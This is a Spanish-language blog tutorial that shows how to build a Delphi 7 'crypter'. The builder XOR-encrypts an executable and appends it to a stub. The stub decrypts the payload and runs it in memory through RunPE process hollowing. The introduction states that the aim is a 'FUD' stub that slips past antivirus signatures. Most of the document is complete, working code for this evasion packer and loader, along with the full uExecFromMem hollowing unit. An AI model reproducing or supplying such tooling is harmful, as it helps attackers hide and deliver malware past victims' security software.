02 : Creacion del Builder
03 : Creacion del Stub
04 : Probando el Crypter
05 : Creditos
-- =================--------
0x01 : Introducción
Un crypter es un programa para encriptar el código fuente de un programa. Sólo lo hago en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.
¿Cuáles son las partes de un crypter?
En general, un crypter tiene dos partes ° El Builder, el stub °. El Builder es la interfaz que codifica nuestro archivo y utiliza las opciones que trae, de acuerdo con el programador que hizo el crypter . El stub es un archivo ejecutable (. exe) o un archivo. Dll .
¿Cómo consigue el 'stub' arrancar el 'programa cifrado' directamente en memoria sin que este toque el disco?.
Para ello, el 'stub' utiliza una técnica o procedimiento llamada 'Dynamic Forking' o 'RunPE'. Está técnica es muy antigua, pero sigue siendo totalmente válida y funcional a día de hoy.
Dynamic Forking o RunPE
Una vez el 'stub' se ha ejecutado, lo primero que suele hacer es localizar dentro del binario el 'programa cifrado', a continuación localiza la clave de 'cifrado/descifrado' e inicia el proceso de descifrado del programa en memoria. Acto seguido, el stub arranca un segundo proceso, de si mismo o de un ejecutable cualquiera del sistema, es indiferente. Pero lo hace invocándolo con una propiedad denominada CREATE_SUSPENDED. Con ello lo que se consigue es cargar en memoria dicho ejecutable y los datos de contexto necesarios para su ejecución, pero no llega a arrancarlo, está 'suspendido'. A continuación, a partir de la dirección de memoria donde se encuentra la cabecera y secciones del proceso suspendido, sobrescribe éstas con las del ejecutable ya descifrado que tiene en memoria. A partir de ahí, obtiene los datos de contexto del archivo suspendido y los sustituye por los datos del nuevo ejecutable, el programa principal. Estos datos son básicamente la dirección base y el punto de entrada del nuevo ejecutable (EP: Entry Point). Por último,relanza el proceso suspendido, consiguiendo que se ejecute el programa en lugar del ejecutable suspendido invocado inicialmente. Así de simple y así de elegante.
Entonces, ¿cómo es posible conseguir un 'stub' indetectable?
Generalmente al proceso de 'retoque' de un 'stub' para volverlo 'indetectable' se le conoce con el nombre de 'modding', y éste tiene dos modalidades, el 'modding' desde 'código fuente' (o 'source') o desde el 'binario'. En general, lo más óptimo es combinar ambas, ya que hay firmas sencillas de sacar desde el código fuente, pero para sacar las más complejas, generalmente, hay que recurrir a retocar el 'binario'. Además, el 'modding' se aplica muchas veces para sanear un 'stub' detectado, pero no se cuenta con el código fuente del mismo, y es por esta razón por la que se utiliza muy habitualmente y de forma exclusiva el 'modding' desde binario.
Por tanto, a modo de recapitulación, el objetivo de todo 'modder' es dejar el 'stub limpio', 'indetectado', es decir 'FUD' y para ello, ha de 'retocarlo', a través de un proceso conocido como 'modding' que se sirve de múltiples técnicas para conseguir, por una parte, localizar la firma del AV, es decir, descubrir dónde, en qué bytes, el AV ha 'marcado' el ejecutable, y por otra parte, ser capaz de alterar esa secuencia de bytes de manera que el AV ya no detecte más el 'stub' y éste continúe siendo funcional.
Fuente: http://www.securitybydefault.com
Empecemos ...
0x02 : Creación del Builder
Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :
Despues agregamos los siguientes elementos al formulario :
* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)
El Edit contendrá la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo botón para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.
Entonces al primer botón lo ponemos al lado del Edit1 y le ponemos de texto al botón : "Load" , el segundo botón viene abajo del Edit1 y le ponemos de texto "Encrypt"
Tambien si quieren pueden poner un titulo al Form desde la opción de "Caption" del formulario , en mi caso pongo "Crypter".
El formulario les debería quedar así :
Entonces hacemos doble click en el botón "Load" y ponemos el siguiente código :
Código: Delphi
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
// del archivo a encriptar
begin
Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
// la ruta del archivo marcado en el openDialog1
end;
end;
Ahora hacemos doble click en el botón "Encrypt" y ponemos el siguiente código :
Código: Delphi
procedure TForm1.Button2Click(Sender: TObject);
var
codigo: string; // Declaramos la variable "codigo" como string
key: integer; // Declaramos la variable "key" como integer
separador: string; // Declaramos la variable "separador" como string
linea: string; // Declaramos la variable "linea" como string
begin
separador := '-barra-';
// Establecemos el valor que tendra la variable "separador"
key := 123; // Establecemos el valor de la variable "key" como 123
codigo := xor_now(leer_archivo(Edit1.Text), key);
// Leemos el archivo que hay en
// la caja de texto y encriptamos con XOR el contenido usando una key
CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
// Copiamos el stub.exe con el nombre de done.exe
linea := separador + codigo + separador + IntToStr(key) + separador;
// Establecemos
// la variable "linea" con el valor de contenido del archivo encriptado con
// XOR y la key del cifrado XOR
escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
// los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
// tambien ponemos el valor de la variable "linea"
ShowMessage('Done');
end;
El código les debería quedar algo así :
Para poder usar este código debemos crear una Unit desde "File->New->Unit" como en la siguiente imagen :
Una vez creada pongan el siguiente código :
Código: Delphi
// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash
unit tools;
interface
uses SysUtils, Windows;
function leer_datos(archivo, delimitador1, delimitador2: string): string;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
function leer_archivo(archivo_a_leer: String): AnsiString;
function xor_now(texto: string; clave: integer): string;
implementation
function xor_now(texto: string; clave: integer): string;
var
numero: integer; // Establecemos la variable "numero" como integer
contenido: string; // Establecemos la variable "contenido" como string
begin
contenido := ''; // Vaciamos el contenido de la variable "contenido"
for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
// la longitud de la variable "texto"
begin
contenido := contenido + Char(integer(texto[numero]) xor clave);
// Encriptamos los datos
// con XOR
end;
Result := contenido; // Devolvemos el resultado de la funcion como el valor
// de la variable "contenido"
end;
function leer_archivo(archivo_a_leer: String): AnsiString;
var
archivo: File; // Declaramos la variable "archivo" como File
tipo: Byte; // Declaramos la variable "tipo" como Byte
begin
tipo := FileMode; // Establecemos el FileMode para abrir el archivo
try
FileMode := 0; // Establecemos como "0" el FileMode
AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
{$I-}
Reset(archivo, 1); // Leemos el archivo desde la primera linea
{$I+}
if IoResult = 0 then // Si IoResult es 0 ...
try
SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
// variable "Result" como la longitud del archivo
if Length(Result) > 0 then
// Si la longitud del resultado es mayor a 0 ...
begin
{$I-}
BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
{$I+}
if IoResult <> 0 then // Si es distinto a 0 ..
Result := '';
end;
finally
CloseFile(archivo); // Cerramos el archivo
end;
finally
FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
end;
end;
function leer_datos(archivo, delimitador1, delimitador2: string): string;
var
contenido: string; // Declaramos la variable "contenido" como string
limite: integer; // Declaramos la variable "limite" como integer
dividiendo: integer; // Declaramos la variable "dividiendo" como integer
dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
control1: integer; // Declaramos la variable "control1" como integer
control2: integer; // Declaramos la variable "control2" como integer
suma: integer; // Declaramos la variable "suma" como integer
numero: integer; // Declaramos la variable "numero" como integer
suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
resultado: string; // Declaramos la variable "resultado" como string
contenido_final: string;
// Declaramos la variable "contenido_final" como string
begin
if (FileExists(archivo)) then // Si existe el archivo ...
begin
contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
// en la variable "contenido"
suma_inicial_1 := Length(delimitador1);
// Calculamos la longitud de la variable
// "delimitador1"
suma_inicial_2 := Length(contenido);
// Calculamos la longitud de la variable
// "contenido"
suma := Pos(delimitador1, contenido) + suma_inicial_1;
// Calculamos la posicion del
// "delimitador" en la variable "contenido"
dividiendo := suma_inicial_2 - suma;
// Restamos las variables "suma_inicial_2"
// y "suma"
dividiendo2 := suma_inicial_2 - dividiendo;
// Restamos las variables "suma_inicial_2"
// y "dividiendo"
contenido := Copy(contenido, dividiendo2, suma_inicial_2);
// Copiamos las variables y las guardmamos en "contenido"
suma_casi_1 := Pos(delimitador1, contenido);
// Calculamos la posicion de "delimitador1"
// en la variable "contenido"
suma_casi_2 := suma_casi_1 + suma_inicial_1;
// Sumamos las variables "suma_casi_1"
// y "suma_inicial_1"
control1 := Pos(delimitador2, contenido) - suma_casi_2;
// Calculamos la posicion
// de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
control2 := control1 - 1; // Restamos en uno la variable "control1"
for numero := 0 to control2 do
// Realizamos un for usando desde 0 hasta el valor
// de la variable "control2"
begin
dividiendo3 := suma_inicial_1 + numero;
// Sumamos la variables varibles "suma_inicial_1"
// y "numero"
dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
// Calculamos la posicion de "delimitador1" en la variable
// "contenido"
contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
// en la variable "dividiendo4" para acceder a cierta posicion de la variable
// "contenido"
resultado := resultado + contenido_final;
// Sumamos las variables "resultado" y
// "contenido_final"
end;
if resultado = '' then // Si la variable "resultado" esta vacia ...
begin
resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
end
else
begin
Result := resultado; // De lo contrario mostramos el contenido de la
// variable "resultado" en resultado de la funcion
end;
end
else
begin
Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
// la funcion
end;
end;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
var
abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
// TextFile
begin
if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
begin
AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
// "ruta"
Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
// "abriendo_archivo"
try
begin
WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
// Escribimos los datos
// de las variables "delimitador1,"texto","delimitador2"
end
finally
begin
CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
// "abriendo_archivo"
end;
Result := True; // Devolvemos "True" como resultado de la funcion
end;
end
else
begin
Result := False; // De lo contrario devolvemos "False" como resultado de la
// funcion
end;
end;
end.
// The End ?
Y para terminar la Unit guárdenla con el nombre de "tools".
Les debería quedar algo así :
Para conectar el formulario con la Unit debemos ir a los "uses" que están al inicio del código del formulario y agregar "tools" al final , quedando así :
Código: Delphi
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,tools;
Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.
0x03 : Creacion del Stub
Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y después en la ventana que viene seleccionamos "Console Application" , con imágenes seria así :
Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :
Una vez creado ponemos el siguiente código :
Código: Delphi
{ uExecFromMem
Author: steve10120
Description: Run an executable from another's memory.
Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
Reference: http://www.security.org.sg/code/loadexe.html
Release Date: 26th August 2009
Website: http://ic0de.org
History: First try
Additions by testest 15th July 2010:
- Parameter support
- Win7 x64 support
}
unit uExecFromMem;
interface
uses Windows;
function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
implementation
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
l_i: Cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^DWord;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(Cardinal(l_relocation) + 8);
for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
end;
end;
end;
function AlignImage(pImage:Pointer):Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
IDH := pImage;
INH := Pointer(Integer(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
begin
ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;
function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
Result := Base;
if Base <> nil then
while ((DWORD(Result) mod 4) <> 0) do
Result := Pointer(DWORD(Result) + 1);
end;
function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
PI: TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase: PContext;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
dwImageBase: DWORD;
pModule: Pointer;
dwNull: DWORD;
begin
if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
Result := 0;
IDH := pFile;
if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
begin
INH := Pointer(Integer(pFile) + IDH^._lfanew);
if INH^.Signature = IMAGE_NT_SIGNATURE then
begin
FillChar(SI, SizeOf(TStartupInfo), #0);
FillChar(PI, SizeOf(TProcessInformation), #0);
SI.cb := SizeOf(TStartupInfo);
if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CT := Get4ByteAlignedContext(CTBase);
if CT <> nil then
begin
CT.ContextFlags := CONTEXT_FULL;
if GetThreadContext(PI.hThread, CT^) then
begin
ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
if dwImageBase = INH^.OptionalHeader.ImageBase then
begin
if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
else
pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
end
else
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
pFile := AlignImage(pFile);
if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
begin
PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
end;
WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, CT^);
ResumeThread(PI.hThread);
Result := PI.hThread;
end;
end;
VirtualFree(CTBase, 0, MEM_RELEASE);
end;
if Result = 0 then
TerminateProcess(PI.hProcess, 0);
end;
end;
end;
end;
end.
Para terminar guardamos la Unit como "uExecFromMem" y el código nos quedaría algo así :
Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :
Código: Delphi
uses
SysUtils, StrUtils, Windows, uExecFromMem, tools;
Después borren el "{$APPTYPE CONSOLE}" al inicio del código para que no se vea la consola al cargar el Stub.
Ahora debemos agregar el siguiente código que nos servirá para usar arrays en el Stub.
El código :
Código: Delphi
type
otro_array = array of string;
// Declaramos el tipo "otro_array" como array of string
Después tenemos que agregar la siguiente función para manejar los arrays y los datos del Stub.
El código :
Código: Delphi
procedure regex2(texto: string; separador: string; var resultado: otro_array);
// Thanks to ecfisa for the help
var
numero1: integer; // Declaramos la variable "numero1" como integer
numero2: integer; // Declaramos la variable "numero2" como integer
begin
texto := texto + separador; // Concatenamos la variable "texto" y "separador"
numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
// la variable "texto"
numero1 := 1; // Establecemos la variable "numero1" como "1"
while numero1 <= numero2 do
// Mientras "numero1" sea menor o igual a "numero2" ...
begin
SetLength(resultado, Length(resultado) + 1);
// Establecemos la longitud de resultado
// a la longitud de la variable "resultado" mas "1"
resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
// Establecemos la variable "resultado" como la copia de las variables "texto",
// "numero1" y la resta de las variables "numero2" y "numero1"
numero1 := numero2 + Length(separador);
// Establecemos la variable "numero1" como
// la suma de la variable "numero2" y la longitud de ña variable "separador"
numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
// "separador" en el variable "texto"
end;
end;
Ahora agregamos el siguiente código entre el begin principal.
El código :
Código: Delphi
var
todo: string; // Declaramos la variable "todo" como string
codigo: string; // Declaramos la variable "codigo" como string
key: string; // Declaramos la variable "key" como string
datos: otro_array; // Declaramos la variable "datos" como otro_array
begin
todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
// del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
regex2(todo, '-barra-', datos);
// Separamos los delimitadores que estan separados
// por "-barra-" en la variable "todo"
key := datos[2];
// Establecemos como "key" la segunda posicion del array "datos"
codigo := datos[1];
// Establecemos como "codigo" la primera posicion del array
// "datos"
codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
// la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
// guardamos en la variable "codigo"
ExecuteFromMem(paramstr(0), '', Pchar(codigo));
// Ejecutamos el codig en memoria
// usando la funcion "ExecuteFromMem"
end.
Una imagen de como debería quedarles el código :
Para terminar guardamos el proyecto como "stub" y podríamos dar por terminado este corto capitulo.
0x04 : Probando el Crypter
Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el botón "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.
Unas imágenes :
Como ven el Crypter funciona correctamente.
05 : Creditos
Fuente: underc0de.org
LIBROS:
Seguridad informática para los no informáticos
Ciberseguridad, la protección de la información en un mundo digital
Seguridad informática, Hacking ético
Hackers, aprende a atacar y a defenderte
No hay comentarios:
Publicar un comentario